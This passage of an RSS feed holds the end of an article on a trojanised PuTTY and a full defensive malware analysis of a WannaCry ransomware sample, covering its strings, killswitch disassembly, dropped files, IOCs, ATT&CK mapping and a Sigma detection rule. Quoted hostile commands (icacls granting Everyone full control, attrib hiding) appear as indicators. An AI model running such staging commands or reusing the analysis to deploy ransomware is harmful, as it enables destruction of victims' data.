&lt;p&gt;The strings told me almost nothing, and that was itself informative. Over 41,000 strings and no payload visible in any of them meant the malicious component had to be encoded or compressed somewhere. The absence pointed at the answer, just not quickly.&lt;/p&gt;
&lt;p&gt;Finally, the sample identified itself as PuTTY in every field an analyst would normally check, and it was telling the truth about most of them. Provenance checks that rely on metadata are weak against this. The checksum and the process behaviour are what actually gave it away.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Written by Vasilis Mantas, Senior Threat Detection Engineer. Analysis performed in an isolated lab using FlareVM, REMnux, FLOSS, PEStudio, Procmon, Wireshark and ncat.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28268/a-working-putty-with-a-reverse-shell-bolted-on</guid>
<pubDate>Wed, 23 Sep 2026 05:45:25 +0000</pubDate>
</item>
<item>
<title>WannaCry, Reopened</title>
<link>https://coderlegion.com/28267/wannacry-reopened</link>
<description>&lt;h3 id=&quot;what-a-modern-triage-of-a-2017-ransomware-sample-teaches-about-killswitch-logic-and-staging-behaviour&quot;&gt;What a modern triage of a 2017 ransomware sample teaches about killswitch logic and staging behaviour&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Vasilis Mantas&lt;/strong&gt; — Threat Detection Engineer&lt;/p&gt;
&lt;hr&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; WannaCry checks a hardcoded URL before doing anything destructive. If the URL &lt;em&gt;responds&lt;/em&gt;, the sample exits without encrypting. If it cannot be reached, encryption proceeds. This inverted logic is the single most instructive thing in the binary, and it is easy to get backwards — including in a lab, where a network simulator that answers every request will silently prevent the malware from detonating at all.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;WannaCry has been analysed exhaustively since May 2017. This walkthrough is not an attempt to say something new about the campaign. It is a demonstration of triage method on a sample whose ground truth is already known, which makes it a useful benchmark: every conclusion below can be checked against the public record.&lt;/p&gt;
&lt;p&gt;The analysis was performed in an isolated lab with no route to the internet.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;surface-behaviour&quot;&gt;Surface behaviour&lt;/h3&gt;
&lt;p&gt;Detonating the sample produces the outcome the sample is famous for. Files across the system are renamed with a &lt;code&gt;.WNCRY&lt;/code&gt; extension, a ransom interface titled &lt;em&gt;Wana Decrypt0r 2.0&lt;/em&gt; appears demanding $600 in Bitcoin, and the desktop wallpaper is replaced with a plaintext version of the same message.&lt;/p&gt;
&lt;p&gt;A practical note for anyone running this in a lab: several FlareVM analysis tools become unusable after detonation, because their own files are encrypted along with everything else. Snapshot before, not after.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;basic-static-analysis-1&quot;&gt;Basic static analysis&lt;/h3&gt;
&lt;p&gt;Extracting strings with FLOSS, filtering short noise:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;FLOSS.exe -n 7 Ransomware.wannacry.exe.malz &amp;gt; outputstrings.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The DOS header string &lt;code&gt;!This program cannot be run in DOS mode.&lt;/code&gt; appears multiple times. A PE header appearing more than once inside a single file means embedded executables, and each occurrence is followed by a distinct set of DLL imports — a different API surface per embedded binary. PEStudio confirmed three packed binaries in total.&lt;/p&gt;
&lt;p&gt;The remaining strings are unusually generous:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;cmd.exe /c &quot;%s&quot;
115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Global\MsWinZonesCacheCounterMutexA
tasksche.exe
TaskStart
icacls . /grant Everyone:F /T /C /Q
attrib +h .
C:\%s\qeriuwjhrf
C:\%s\%s
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three Bitcoin wallets, a named mutex, a dropped executable name, two format-string paths, and one conspicuously random-looking domain. The &lt;code&gt;icacls&lt;/code&gt; and &lt;code&gt;attrib&lt;/code&gt; commands grant everyone full control over a directory tree and hide it — staging behaviour, visible before a single instruction is executed.&lt;/p&gt;
&lt;p&gt;The import table reinforces the picture. &lt;code&gt;CryptGenRandom&lt;/code&gt; and &lt;code&gt;CryptAcquireContextA&lt;/code&gt; for key generation. A dense block of &lt;code&gt;ws2_32.dll&lt;/code&gt; socket functions — &lt;code&gt;socket&lt;/code&gt;, &lt;code&gt;connect&lt;/code&gt;, &lt;code&gt;send&lt;/code&gt;, &lt;code&gt;recv&lt;/code&gt;, &lt;code&gt;WSAStartup&lt;/code&gt; — alongside &lt;code&gt;GetAdaptersInfo&lt;/code&gt;, indicating network enumeration and self-propagation. &lt;code&gt;InternetOpenA&lt;/code&gt; and &lt;code&gt;InternetOpenUrlA&lt;/code&gt; from &lt;code&gt;wininet.dll&lt;/code&gt;, which turn out to matter more than anything else in the list.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;dynamic-analysis-and-a-lab-trap&quot;&gt;Dynamic analysis, and a lab trap&lt;/h3&gt;
&lt;p&gt;The second detonation was run with REMnux providing inetsim as a fake DNS resolver and HTTP responder. The sample did nothing. No encryption, no ransom note, no filesystem activity of consequence.&lt;/p&gt;
&lt;p&gt;That is not a broken sample. It is the killswitch working.&lt;/p&gt;
&lt;p&gt;When inetsim answers the request to &lt;code&gt;iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com&lt;/code&gt; with a 200 OK, WannaCry concludes the domain is live and exits. In the first detonation, with no simulator running, the request failed, the sample concluded the domain was unregistered, and it encrypted the filesystem.&lt;/p&gt;
&lt;p&gt;The consequence for analysts is worth stating directly. A generic network simulator that returns success for every request will suppress this sample's entire payload. An analyst who only ever detonates with full simulation would conclude the binary is inert.&lt;/p&gt;
&lt;p&gt;With the payload allowed to run, TCPView showed the propagation attempt: a large volume of TCP SYN packets to sequential and apparently random addresses on &lt;strong&gt;port 445&lt;/strong&gt;, the SMB service port — the sample scanning for further hosts to infect. A second listener appeared, &lt;code&gt;taskhsvc.exe&lt;/code&gt; bound to &lt;code&gt;127.0.0.1:9050&lt;/code&gt;, the Tor SOCKS port, providing the anonymised channel back to the operators.&lt;/p&gt;
&lt;p&gt;Procmon, filtered on the sample's process name and &lt;code&gt;CreateFile&lt;/code&gt;, showed the drop:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Ransomware.wan... → C:\Windows\tasksche.exe   SUCCESS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;followed in the process tree by &lt;code&gt;tasksche.exe&lt;/code&gt; executing with the argument &lt;code&gt;/i&lt;/code&gt;. Filtering again on the new PID revealed the staging directory:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;C:\ProgramData\dveqybpwqzws072\
    msg\                      TaskData\
    @Please_Read_Me@.txt      @WanaDecryptor@.exe
    00000000.eky              00000000.pky        00000000.res
    b.wnry  c.wnry  f.wnry  r.wnry  s.wnry  t.wnry  u.wnry
    taskdl.exe                taskse.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;C:\%s\%s&lt;/code&gt; format string from the strings output is now explained: the directory name is generated at runtime, which is why the folder is &lt;code&gt;dveqybpwqzws072&lt;/code&gt; here and something else elsewhere. A service is created bearing the same random name — the persistence mechanism.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;advanced-static-analysis&quot;&gt;Advanced static analysis&lt;/h3&gt;
&lt;p&gt;Loading the binary into Cutter and navigating to &lt;code&gt;main&lt;/code&gt; puts the killswitch logic on screen in a dozen instructions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;0x0040814a   mov  esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
0x0040817b   call dword [InternetOpenA]
0x00408194   call dword [InternetOpenUrlA]
0x0040819a   mov  edi, eax
0x004081a3   test edi, edi
0x004081a5   jne  0x4081bc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The decompiler view is clearer still:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;eax = InternetOpenUrlA(esi, ecx, 0, 0, 0x84000000, 0);
edi = eax;
esi = *(InternetCloseHandle);
if (edi == 0) {
    (*esi)();
    (*esi)(0);
    eax = fcn_00408090();
    eax = 0;
    return eax;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;InternetOpenUrlA&lt;/code&gt; returns a handle, or NULL on failure. The handle lands in &lt;code&gt;edi&lt;/code&gt;, and &lt;code&gt;test edi, edi&lt;/code&gt; sets the zero flag only when the call failed.&lt;/p&gt;
&lt;p&gt;The branch is therefore: &lt;strong&gt;handle is NULL — the domain did not resolve — call &lt;code&gt;fcn_00408090&lt;/code&gt;, the encryption routine.&lt;/strong&gt; Handle is valid — the domain responded — close the handles, clean up the stack, return.&lt;/p&gt;
&lt;p&gt;The graph view makes the asymmetry obvious. One path is labelled normal execution and leads into the encryption function. The other is a short exit stub. The condition separating them is a single &lt;code&gt;test&lt;/code&gt; on the result of a web request.&lt;/p&gt;
&lt;p&gt;Registering that domain is what stopped the campaign in 2017. The disassembly above is the mechanism, in six instructions.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;indicators-of-compromise-1&quot;&gt;Indicators of compromise&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Type &lt;/th&gt;&lt;th&gt;Indicator&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Killswitch domain &lt;/td&gt;&lt;td&gt;&lt;code&gt;iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mutex &lt;/td&gt;&lt;td&gt;&lt;code&gt;Global\MsWinZonesCacheCounterMutexA&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Dropped file &lt;/td&gt;&lt;td&gt;&lt;code&gt;C:\Windows\tasksche.exe&lt;/code&gt; (executed with &lt;code&gt;/i&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Staging path &lt;/td&gt;&lt;td&gt;&lt;code&gt;C:\ProgramData\&amp;lt;random&amp;gt;\&lt;/code&gt; containing &lt;code&gt;.wnry&lt;/code&gt; files&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Dropped tools &lt;/td&gt;&lt;td&gt;&lt;code&gt;taskdl.exe&lt;/code&gt;, &lt;code&gt;taskse.exe&lt;/code&gt;, &lt;code&gt;@WanaDecryptor@.exe&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Ransom note &lt;/td&gt;&lt;td&gt;&lt;code&gt;@Please_Read_Me@.txt&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Extension &lt;/td&gt;&lt;td&gt;&lt;code&gt;.WNCRY&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Network &lt;/td&gt;&lt;td&gt;Mass outbound SYN to TCP/445&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Network &lt;/td&gt;&lt;td&gt;Local listener on &lt;code&gt;127.0.0.1:9050&lt;/code&gt; (Tor)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;BTC &lt;/td&gt;&lt;td&gt;&lt;code&gt;115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;BTC &lt;/td&gt;&lt;td&gt;&lt;code&gt;12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;BTC &lt;/td&gt;&lt;td&gt;&lt;code&gt;13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;mitre-att-amp-ck-mapping-1&quot;&gt;MITRE ATT&amp;amp;CK mapping&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Tactic &lt;/th&gt;&lt;th&gt;Technique&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Execution &lt;/td&gt;&lt;td&gt;T1106 — Native API&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Persistence &lt;/td&gt;&lt;td&gt;T1543.003 — Create or Modify System Process: Windows Service&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Defense Evasion &lt;/td&gt;&lt;td&gt;T1564.001 — Hide Artifacts: Hidden Files and Directories&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Defense Evasion &lt;/td&gt;&lt;td&gt;T1222.001 — File and Directory Permissions Modification&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Discovery &lt;/td&gt;&lt;td&gt;T1046 — Network Service Discovery&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Lateral Movement &lt;/td&gt;&lt;td&gt;T1210 — Exploitation of Remote Services&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Command and Control &lt;/td&gt;&lt;td&gt;T1090.003 — Proxy: Multi-hop Proxy (Tor)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Impact &lt;/td&gt;&lt;td&gt;T1486 — Data Encrypted for Impact&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Impact &lt;/td&gt;&lt;td&gt;T1490 — Inhibit System Recovery&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;detection-guidance-1&quot;&gt;Detection guidance&lt;/h3&gt;
&lt;p&gt;The hashes and the killswitch domain have limited value now. The behavioural sequence does not.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Permission-widening plus attribute-hiding on a freshly created directory.&lt;/strong&gt; The &lt;code&gt;icacls . /grant Everyone:F /T /C /Q&lt;/code&gt; and &lt;code&gt;attrib +h .&lt;/code&gt; pair is staging behaviour that predates encryption. Catching it means catching the sample before impact, which is the only detection that actually matters for ransomware.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;title: Mass Permission Grant Followed by Directory Hiding
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  icacls:
    Image|endswith: '\icacls.exe'
    CommandLine|contains|all:
      - '/grant'
      - 'Everyone:F'
      - '/T'
  attrib:
    Image|endswith: '\attrib.exe'
    CommandLine|contains: '+h'
  condition: icacls or attrib
falsepositives:
  - Some software installers and backup agents
level: high
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Correlate the two within a short window on one host rather than alerting on either alone — that is what separates a real staging sequence from routine installer noise.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Executable written to &lt;code&gt;C:\Windows\&lt;/code&gt; by a non-system process, then executed.&lt;/strong&gt; A user-context process dropping a binary directly into the Windows directory and launching it is a narrow, high-value pattern.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Outbound SMB scanning from a workstation.&lt;/strong&gt; A single host opening connections to TCP/445 across many destinations in a short window is almost never legitimate on an endpoint. Threshold on distinct destination count per source per minute.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Local Tor SOCKS listener.&lt;/strong&gt; A process binding &lt;code&gt;127.0.0.1:9050&lt;/code&gt; is worth an alert in any enterprise that has not deliberately deployed Tor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Suspicious process spawning &lt;code&gt;cmd.exe /c&lt;/code&gt;.&lt;/strong&gt; Present here, and generic enough to earn its place in any ruleset — with the tuning that implies.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;analyst-takeaways&quot;&gt;Analyst takeaways&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Environment shapes behaviour, so vary the environment.&lt;/strong&gt; The single most important finding in this analysis only appeared because the sample was detonated both with and without network simulation. One configuration produced a functioning ransomware; the other produced an inert file. Detonating once tells you what a sample does under one set of conditions, not what it does.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Strings foreshadow structure.&lt;/strong&gt; &lt;code&gt;icacls&lt;/code&gt;, &lt;code&gt;attrib&lt;/code&gt;, &lt;code&gt;C:\%s\%s&lt;/code&gt; and &lt;code&gt;tasksche.exe&lt;/code&gt; were all visible before execution, and each was confirmed by dynamic analysis. Reading strings carefully turns dynamic analysis into confirmation rather than exploration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The decisive logic is often tiny.&lt;/strong&gt; The behaviour that defined a global incident reduces to one API call, one &lt;code&gt;test&lt;/code&gt;, and one conditional jump. Finding that block took longer than understanding it — which is usually how reverse engineering goes.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Written by Vasilis Mantas, Senior Threat Detection Engineer. Analysis performed in an isolated lab using FlareVM, REMnux, FLOSS, PEStudio, PEview, Wireshark, Procmon, TCPView and Cutter.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28267/wannacry-reopened</guid>
<pubDate>Wed, 23 Sep 2026 05:44:57 +0000</pubDate>
</item>
</channel>
</rss>